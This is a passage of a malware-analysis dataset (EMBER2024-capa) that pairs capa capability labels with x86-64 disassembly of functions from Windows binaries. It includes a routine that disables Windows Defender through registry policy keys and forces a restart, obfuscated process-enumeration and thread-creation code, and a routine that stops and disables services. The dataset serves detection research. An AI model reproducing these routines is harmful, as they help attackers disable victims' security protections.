joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001680
Capabilities:
Disable windows defender features via registry on windows
Execute command
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call sym.__main
mov dword [rbp - 0x1c], 1
call dbg.isUserAdmin()
xor eax, 1
test al, al
je 0x1400016c0
lea rax, str.please__run_as_admin._n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 0xffffffff
jmp 0x1400018d4
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
mov r8d, 0
lea rax, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x1400018a2
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableAntiSpyware
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x40], 0
lea rdx, [rbp - 0x18]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.Real_Time_Protection
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableRealtimeMonitoring
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableBehaviorMonitoring
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableScanOnRealtimeEnable
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableOnAccessProtection
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableIOAVProtection
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, str.perfectly_disabled_:__npress_any_key_to_restart_to_apply_them._n
mov rcx, rax
call dbg.printf(char const*, ::)
lea rax, str.pause
mov rcx, rax
call sym.system
lea rax, str.C:WindowsSystem32_shutdown__s__t_0
mov rcx, rax
call sym.system
mov eax, 1
add rsp, 0x70
pop rbp
ret
Function at 0x140001c70
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002942
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000e108]
test eax, eax
je 0x1400029da
lea rax, [0x14000e0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000e110]
mov qword [rbp - 8], rax
jmp 0x1400029be
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400029b2
cmp qword [rbp - 0x10], 0
je 0x1400029b2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002978
lea rax, [0x14000e0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400029db
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002ae0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002b08
mov eax, 0
jmp 0x140002b56
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002b31
mov eax, 0
jmp 0x140002b56
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002b51
mov eax, 0
jmp 0x140002b56
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002b5c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002bda
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002bd1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002bd1
mov rax, qword [rbp - 8]
jmp 0x140002bef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002ba4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140003608
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x14000362e
movzx r9d, byte [rdx]
inc rdx
movzx eax, cl
xor r9, rax
shr ecx, 8
lea rax, [0x14004e8b0]
xor ecx, dword [rax + r9*4]
sub r8, 1
jne 0x14000360d
mov eax, ecx
ret

Function at 0x140003634
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [rcx + 4], 0
mov r8, rcx
jne 0x14000367b
xor r9d, r9d
mov r10d, r9d
mov r11d, 8
mov edx, r10d
mov ecx, r10d
shr edx, 1
mov eax, edx
mov r10d, edx
xor eax, 0xedb88320
test cl, 1
cmovne r10d, eax
sub r11, 1
jne 0x140003649
mov dword [r8], r10d
inc r9d
add r8, 4
cmp r9d, 0x100
jb 0x140003640
ret
Function at 0x14000bd2c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r10, qword [0x140059a00]
xor ebx, ebx
movzx ebp, r9b
mov r14b, r8b
mov rdi, rdx
mov rsi, rcx
test r10, r10
jne 0x14000bdcb
cmp byte [0x1400599f8], bl
jne 0x14000bdcb
lea rcx, str.Crypt32.dll
call fcn.14000dc08
mov qword [0x1400599f0], rax
test rax, rax
je 0x14000bdb4
lea rdx, str.CryptProtectMemory
mov rcx, rax
call qword [0x14003b108]
mov rcx, qword [0x1400599f0]
lea rdx, str.CryptUnprotectMemory
mov qword [0x140059a00], rax
call qword [0x14003b108]
mov qword [0x140059a08], rax
jmp 0x14000bdbb
mov rax, qword [0x140059a08]
mov r10, qword [0x140059a00]
mov byte [0x1400599f8], 1
jmp 0x14000bdd2
mov rax, qword [0x140059a08]
mov rcx, rdi
mov r8d, ebp
and rcx, 0xfffffffffffffff0
test r14b, r14b
je 0x14000be25
test r10, r10
je 0x14000be42
mov edx, ecx
mov rax, r10
mov rcx, rsi
call qword [0x14003b4b0]
test eax, eax
jne 0x14000be5d
lea rdx, str.CryptProtectMemory_failed
lea rbx, [0x14006acf0]
mov rcx, rbx
call fcn.140003b8c
mov rcx, rbx
call fcn.140003f38
mov edx, 2
mov rcx, rbx
call fcn.140003b84
jmp 0x14000be5d
test rax, rax
je 0x14000be42
mov edx, ecx
mov rcx, rsi
call qword [0x14003b4b0]
test eax, eax
jne 0x14000be5d
lea rdx, str.CryptUnprotectMemory_failed
jmp 0x14000bdff
call qword [0x14003b070]
test rdi, rdi
je 0x14000be5d
lea ecx, [rax + 0x4b]
add cl, bl
xor byte [rbx + rsi], cl
inc rbx
cmp rbx, rdi
jb 0x14000be4d
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000c700
Capabilities:
Hash data using sha1

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x14004de28]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov edi, dword [rcx + 0x18]
mov ebp, 0x38
mov r14, qword [rcx + 0x18]
and edi, 0x3f
shl r14, 3
mov rsi, rdx
mov rbx, rcx
mov byte [rdi + rcx + 0x20], 0x80
inc edi
cmp edi, ebp
je 0x14000c78e
jbe 0x14000c779
lea edx, [rbp + 8]
cmp edi, edx
jae 0x14000c763
sub edx, edi
mov ecx, edi
add rcx, 0x20
mov r8d, edx
add rcx, rbx
xor edx, edx
call fcn.140027480
xor edi, edi
lea r8, [rbx + 0x20]
mov r9b, 1
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000bf08
sub ebp, edi
mov ecx, edi
add rcx, 0x20
mov r8d, ebp
add rcx, rbx
xor edx, edx
call fcn.140027480
mov rcx, r14
shr rcx, 0x20
call fcn.14002de44
mov ecx, r14d
mov dword [rbx + 0x58], eax
call fcn.14002de44
lea r8, [rbx + 0x20]
mov dword [rbx + 0x5c], eax
mov r9b, 1
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000bf08
mov rdx, rbx
mov ecx, 5
sub rdx, rsi
mov eax, dword [rdx + rsi]
mov dword [rsi], eax
lea rsi, [rsi + 4]
sub rcx, 1
jne 0x14000c7c7
and qword [rbx + 0x18], rcx
mov dword [rbx], 0x67452301
mov dword [rbx + 4], 0xefcdab89
mov dword [rbx + 8], 0x98badcfe
mov dword [rbx + 0xc], 0x10325476
mov dword [rbx + 0x10], 0xc3d2e1f0
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140025bf0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x14000c820
Capabilities:
Hash data using sha1

Disassembly:
and qword [rcx + 0x18], 0
mov dword [rcx], 0x67452301
mov dword [rcx + 4], 0xefcdab89
mov dword [rcx + 8], 0x98badcfe
mov dword [rcx + 0xc], 0x10325476
mov dword [rcx + 0x10], 0xc3d2e1f0
ret
Function at 0x140019d70
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x14004de28]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov rax, qword [rcx]
xor r8d, r8d
xor edx, edx
mov rbx, rcx
mov rax, qword [rax + 0x20]
call qword [0x14003b4b0]
mov rax, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, 0x40
mov rcx, rbx
mov rax, qword [rax + 0x18]
call qword [0x14003b4b0]
cmp eax, 0x40
jne 0x140019e66
cmp byte [rsp + 0x20], 0x4d
jne 0x140019e66
cmp byte [rsp + 0x21], 0x5a
jne 0x140019e66
mov rax, qword [rbx]
xor r8d, r8d
mov edx, dword [rsp + 0x5c]
mov rcx, rbx
mov rax, qword [rax + 0x20]
call qword [0x14003b4b0]
mov rax, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, 0x108
mov rcx, rbx
mov rax, qword [rax + 0x18]
call qword [0x14003b4b0]
cmp eax, 0x108
jne 0x140019e66
cmp byte [rsp + 0x20], 0x50
jne 0x140019e66
cmp byte [rsp + 0x21], 0x45
jne 0x140019e66
cmp byte [rsp + 0x22], 0
jne 0x140019e66
cmp byte [rsp + 0x23], 0
jne 0x140019e66
cmp byte [rsp + 0x38], 0xb
jne 0x140019e66
cmp byte [rsp + 0x39], 1
jne 0x140019e4d
cmp dword [rbp - 0x6c], 4
jbe 0x140019e4d
mov eax, dword [rbp - 0x48]
jmp 0x140019e68
cmp byte [rsp + 0x38], 0xb
jne 0x140019e66
cmp byte [rsp + 0x39], 2
jne 0x140019e66
cmp dword [rbp - 0x5c], 4
jbe 0x140019e66
mov eax, dword [rbp - 0x38]
jmp 0x140019e68
xor eax, eax
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140025bf0
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rbp
ret

Function at 0x140026a90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x14003b0f0]
test rax, rax
je 0x140026ada
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140026ada
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140026ada
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140026ada
cmp dword [rcx + 0x84], 0xe
jbe 0x140026ada
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140026adc
xor al, al
add rsp, 0x28
ret

Function at 0x14002f534
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002f298
Function at 0x140014bf0
Capabilities:
Hash data with crc32

Disassembly:
xchg r13, rsi
mov qword [rsp + 0x10], r13
xchg r13, rsi
nop
jmp 0x140014cac
xchg rcx, rcx
jmp fcn.140014bf0
mov r15, qword [rsp + 0x30]
xchg r15, rbx
mov rsi, qword [rsp + 0x38]
nop
sub rsp, 0x62441c4
add rsp, 0x62441e4
pop rdi
jmp 0x140014c01
xor r9d, ecx
movzx eax, r9b
xchg rbx, rbx
jmp 0x140014c7f
mov rsi, rdx
xchg rdx, rsi
mov ecx, eax
xchg rcx, rcx
xchg r15, rbx
jmp 0x140014c09
and ecx, 0xedb88320
xor ecx, eax
call fcn.140015430
xchg r8, r8
shr edi, 4
shr edi, 4
jmp 0x140014ccf
xor edx, 0x64939b55
xor edx, 0x7efddd84
sub edx, 0x3ee18800
jmp 0x140014c2b
mov ecx, eax
shr eax, 1
and ecx, 1
xchg r8, r8
neg ecx
jmp 0x140014c4d
mov edx, 0x69c14a57
sub edx, 0x1ebcaf61
sub edx, 0xdf47a1
xor edx, 0x6eaa9d85
jmp 0x140014c68
mov qword [rsp - 8], rdi
sub rsp, 8
sub rsp, 0x20
jmp 0x140014ce4
lea ebx, [r8 + 1]
mov rsi, rsi
movsx r9d, byte [rax + rdx]
jmp 0x140014c90
mov r8d, ebx
mov dword [rsp - 0xc], 0x595f6612
xor eax, edi
xchg rsi, rdx
jmp 0x140014c3a
mov rsi, rdx
mov dword [rsp - 0x38], ebx
mov edi, ecx
cmp r8d, 1
jmp 0x140014cf6
jae 0x140014d12
mov eax, r8d
xchg rsp, rsp
xchg rdi, rbx
mov qword [rsp + 0x30], rdi
xchg rbx, rdi
jmp 0x140014cbe
mov rsi, qword [rsp + 0x38]
mov rcx, rcx
mov eax, edi
sub rsp, 0xffffffffffffffe0
pop rdi
xchg r9, r9
ret
Function at 0x14008b690
Capabilities:
Enumerate processes

Disassembly:
xchg r13, rbx
mov qword [rsp + 0x10], r13
xchg rbx, r13
nop
sub rsp, 8
mov qword [rsp], rsi
jmp 0x14008b810
je 0x14008b917
xor edx, edx
xchg r11, rdi
mov qword [rsp + 0x170], r11
jmp 0x14008b739
je 0x14008b971
mov rsi, rsi
nop dword [rax]
jmp 0x14008b76c
sub dword [rsp + 0x20], 0x6923c99a
xor dword [rsp + 0x20], 0x192f530f
xor dword [rsp + 0x20], 0x10a3faf1
sub dword [rsp + 0x20], 0xeac4988
mov rcx, rsi
jmp 0x14008b87e
xor rax, 0x1f4c55a5
add rax, 0x7fffffff
add rax, 0x48370253
jmp 0x14008b7ad
cmp r8, rax
mov rsp, rsp
jne 0x14008b8cf
jmp 0x14008b7dc
mov dword [rsp - 0x1c], 0x10e941ce
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
jmp 0x14008b7fb
xchg r11, rdi
mov r8d, 0x24972cfa
add r8d, 0x2fadc8c3
jmp 0x14008b864
mov r14, rbx
xchg rcx, r14
xchg r8, r14
mov r14, qword [rbx + 0x10]
xchg r8, r14
jb 0x14008b711
mov rcx, qword [rbx]
jmp 0x14008b711
lea rcx, [rsp + 0x4c]
nop
movabs rax, 0xffffffff0d906724
add rax, 0x4fa406ee
xor rax, 0x3c0dc198
xor rax, 0x1ca94040
xor rax, 0x551447c2
jmp 0x14008b6fa
add cl, 0x63
xor cl, 0x74
add cl, 0x17
xor cl, 0x2f
sub cl, 9
jmp 0x14008b8d4
nop dword [rax]
mov dword [rsp - 0x2c], 0x7d4b6e20
inc rax
jmp 0x14008b8b0
sub r8d, 0x10433cea
sub r8d, 0x5828c54c
lea rcx, [rsp + 0x24]
mov r11, r11
jmp 0x14008b82d
lea rdx, [rsp + 0x4c]
call fcn.1400e5620
test eax, eax
mov rsi, rsi
jne 0x14008b8cf
mov cl, 4
add cl, 0x13
jmp 0x14008b799
mov rsp, rsp
xchg r9, rax
mov rsi, r9
xchg r9, rax
test rax, rax
mov rcx, rcx
jmp 0x14008b6a9
sub rsp, 0x205552fc
add rsp, 0x2055519c
mov rax, qword [0x14024e2e0]
xor rax, rsp
jmp 0x14008b894
call fcn.1400e50d0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x3a4914f0
xor dword [rsp + 0x20], 0x970faad
sub dword [rsp + 0x20], 0x782850c
xor dword [rsp + 0x20], 0x5ab150aa
sub dword [rsp + 0x20], 0xc18d1b
jmp 0x14008b6d2
sub r8d, 0x316a5943
xor r8d, 0xef02fdb
add r8d, 0x3c414fc1
jmp 0x14008b7c1
xor edi, edi
mov dword [rsp - 0x14], 0x6f148693
call sub.KERNEL32.dll_Process32First
test eax, eax
jmp 0x14008b6c1
mov dword [rsp - 0x30], 0x387baf33
xchg r11, rax
mov qword [rsp + 0x150], r11
xchg r11, rax
mov rbx, rdx
jmp 0x14008b722
cmp byte [rcx + rax], 0
jne 0x14008b7b9
cmp qword [rbx + 0x18], 0x10
mov dword [rsp - 0x3c], 0xf4d0f72
xchg r14, rcx
jmp 0x14008b74e
xor cl, cl
mov r9, r9
test cl, cl
lea eax, [rdi + 1]
lea rdx, [rsp + 0x20]
jmp 0x14008b8f0
xchg rcx, rbx
cmove eax, edi
mov edi, eax
jmp 0x14008b960
mov dword [rsp - 0x40], ecx
xchg rbx, rcx
mov rbx, rsi
jmp 0x14008b8e3
xchg rsi, rbx
sub rsp, 0xfffffffffffffea0
nop
add rsp, 8
mov rsi, qword [rsp - 8]
ret
xchg rdi, r14
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400e2980
mov dword [rsp - 0x3c], 0x4b7dff65
xchg rbx, rsi
mov rsi, qword [rsp + 0x178]
jmp 0x14008b8ff
mov rcx, rdx
xchg rdx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rsi, rsi
xchg rdi, r14
mov r14, qword [rsp + 0x170]
jmp 0x14008b914
mov dword [rsp - 0x24], edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14008b76c
xchg rdx, rsi
jmp 0x14008b93f
Function at 0x14009fe60
Capabilities:
Create thread

Disassembly:
push r9
mov qword [rsp], rbx
add rsp, 0xffffffffffffffb0
mov dword [rsp - 0x30], edi
mov rax, qword [0x14024e2e0]
xor rax, rsp
mov qword [rsp + 0x48], rax
jmp 0x14009fe82
mov dword [rsp - 0x1c], 0x5a6f92ba
xchg rsp, rbx
mov rsp, rcx
xchg rsp, rbx
mov ecx, 0x517cf5ea
add ecx, 0x259de82c
jmp 0x14009feed
xor rcx, rsp
mov r13, r13
call fcn.1400e2980
add rsp, 0x50
nop
mov rbx, qword [rsp]
jmp 0x1400a0011
call fcn.1400e282c
xchg rbx, rbx
test rax, rax
je 0x14009ffad
xchg rdx, rbx
jmp 0x14009ff98
xchg r9, rcx
mov qword [rsp + 0x28], r9
xchg rcx, r9
mov dword [rsp + 0x20], 0x458d85af
jmp 0x14009ffb4
sub ecx, 0xb6febd7
xor ecx, 0x67c4ef41
add ecx, 0x1288506a
xor ecx, 0x1ef66df8
jmp 0x14009febc
movaps xmm0, xmmword [rcx + 0x30]
xchg rsp, rcx
xchg r11, rbx
movups xmmword [r11 + 0x1b0], xmm0
xchg rbx, r11
cmp dword [rbx + 0x1b8], 0
jmp 0x14009ff3c
mov qword [rsp + 0x40], rcx
xchg rcx, rax
lea rcx, [rsp + 0x38]
jmp 0x14009fed5
je 0x1400a0060
mov dword [rsp - 0x30], 0x346a9cf6
xchg rsp, r9
movaps xmmword [r9 + 0x30], xmm0
xchg rsp, r9
jmp 0x14009ff5a
lea rcx, [rsp + 0x30]
mov dword [rsp - 0x1c], ebp
call fcn.1400e1b2c
test eax, eax
jne 0x1400a010a
mov r15, r15
xorps xmm0, xmm0
jmp 0x14009ff7b
xchg rbp, rbx
movups xmmword [rbp + 0x1b0], xmm0
xchg rbp, rbx
xchg r14, rcx
mov r14, qword [rsp + 0x48]
xchg r14, rcx
jmp 0x14009fea3
mov qword [rax], rdx
xchg rdx, rbx
lea rcx, [0x14009f150]
mov dword [rsp - 0x38], edx
mov qword [rax + 8], rcx
xchg rcx, rax
jmp 0x14009ff2b
xor dword [rsp + 0x20], 0xc8ba7e5
sub dword [rsp + 0x20], 0x357ea4f0
add dword [rsp + 0x20], 0x2e427404
add dword [rsp + 0x20], 0x3cab3686
jmp 0x1400a0016
call fcn.1400f0238
mov qword [rsp + 0x30], rax
xchg r14, r14
jmp 0x14009ffeb
test rax, rax
je 0x1400a004a
cmp dword [rbx + 0x1b8], 0
jmp 0x1400a0000
xchg rdx, rdx
jne 0x1400a0041
xchg rsp, rcx
jmp 0x14009ff0a
add rsp, 8
ret
sub dword [rsp + 0x20], 0x32a7b18b
sub dword [rsp + 0x20], 0x4bcd7659
mov r9, rax
lea r8, [0x14009ed00]
mov dword [rsp - 0xc], 0x24dc1113
xor edx, edx
xor ecx, ecx
jmp 0x14009ffd9
call fcn.1400efc98
mov rcx, rcx
nop
mov dword [rsp + 0x38], 0x129aeb95
sub dword [rsp + 0x38], 0x3d161ba
jmp 0x1400a00cd
nop
mov ecx, 0x50edae56
xor ecx, 0x37b3a5ce
xor ecx, 0x3932d0fb
sub ecx, 0x46f7975
sub ecx, 0x179efbe
jmp 0x1400a00f2
sub ecx, 0x63ea81d
call fcn.1400e1ec8
mov dword [rsp - 0x10], esp
jmp 0x1400a005f
xchg rdx, rdx
call fcn.1400e1e8c
int3
mov ecx, 0x72268935
add ecx, 0xc899c40
sub ecx, 0x25ec8078
xor ecx, 0x7b770f8b
add ecx, 0x4ba6604f
sub ecx, 0x32a24951
xor ecx, 0x3a866a57
jmp 0x1400a0082
add dword [rsp + 0x38], 0x2879d6d5
add dword [rsp + 0x38], 0x427dab49
xor dword [rsp + 0x38], 0x79982a5f
sub dword [rsp + 0x38], 0x5921a6
jmp 0x1400a009f
sub ecx, 0x11923c97
xor ecx, 0xfc12d48
sub ecx, 0x493018d0
call fcn.1400e1ec8
int3
mov ecx, eax
jmp 0x1400a0096
Function at 0x1400a79f0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
mov r9b, reloc.WS2_32.dll_select
test r8d, r8d
je 0x1400a7a14
nop word [rax + rax]
xor byte [rdx], r9b
lea ecx, [rax + 0xb]
add r9b, cl
lea rdx, [rdx + 1]
inc eax
cmp eax, r8d
jb 0x1400a7a00
ret

Function at 0x1400a8140
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
cmp qword [rdx + 0x18], 8
jb 0x1400a814e
mov rdx, qword [rdx]
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
add rsp, 0x28
ret

Function at 0x1400a88a0
Capabilities:
Modify service
Stop service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rsi, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
xor dil, dil
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
je 0x1400a895f
mov r8d, 0xf003f
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
je 0x1400a895f
mov qword [rsp + 0x90], rbp
lea r8, [rsp + 0x60]
mov ebp, 1
mov rcx, rax
mov edx, ebp
call qword [sym.imp.ADVAPI32.dll_ControlService]
xor eax, eax
lea r8d, [rbp + 3]
mov qword [rsp + 0x50], rax
mov edx, 0xffffffff
mov qword [rsp + 0x48], rax
mov r9d, edx
mov qword [rsp + 0x40], rax
mov rcx, rsi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp eax, ebp
movzx edi, dil
cmove edi, ebp
mov rbp, qword [rsp + 0x90]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea r11, [rsp + 0x80]
movzx eax, dil
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400a9060
Capabilities:
Get disk information
Get storage device properties

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x90
movsx ebx, cl
lea rcx, [rax + 8]
mov byte [rax + 8], bl
mov word [rax + 9], 0x5c3a
mov byte [rax + 0xb], 0
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 6
ja case.0x1400a90a1.0
lea rcx, [0x140000000]
mov eax, eax
mov edx, dword [rcx + rax*4 + 0xa91b0]
add rdx, rcx
jmp rdx
mov eax, 3
add rsp, 0x90
pop rbx
ret
mov eax, dword [0x1401172b0]
lea rcx, [rsp + 0x50]
movsd xmm0, qword [str..X:]
xor r9d, r9d
mov dword [rsp + 0x58], eax
xor edx, edx
movzx eax, word [0x1401172b4]
mov qword [rsp + 0xb0], rdi
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
movsd qword [rsp + 0x50], xmm0
lea r8d, [rdi + 3]
mov word [rsp + 0x5c], ax
mov word [rsp + 0x58], bx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rdi
lea r9d, [rdi + 0xc]
mov rbx, rax
mov qword [rsp + 0x44], rdi
lea rax, [rsp + 0xa8]
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 0x28
mov edx, 0x2d1400
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
mov rcx, rbx
cmovne edi, dword [rsp + 0x7c]
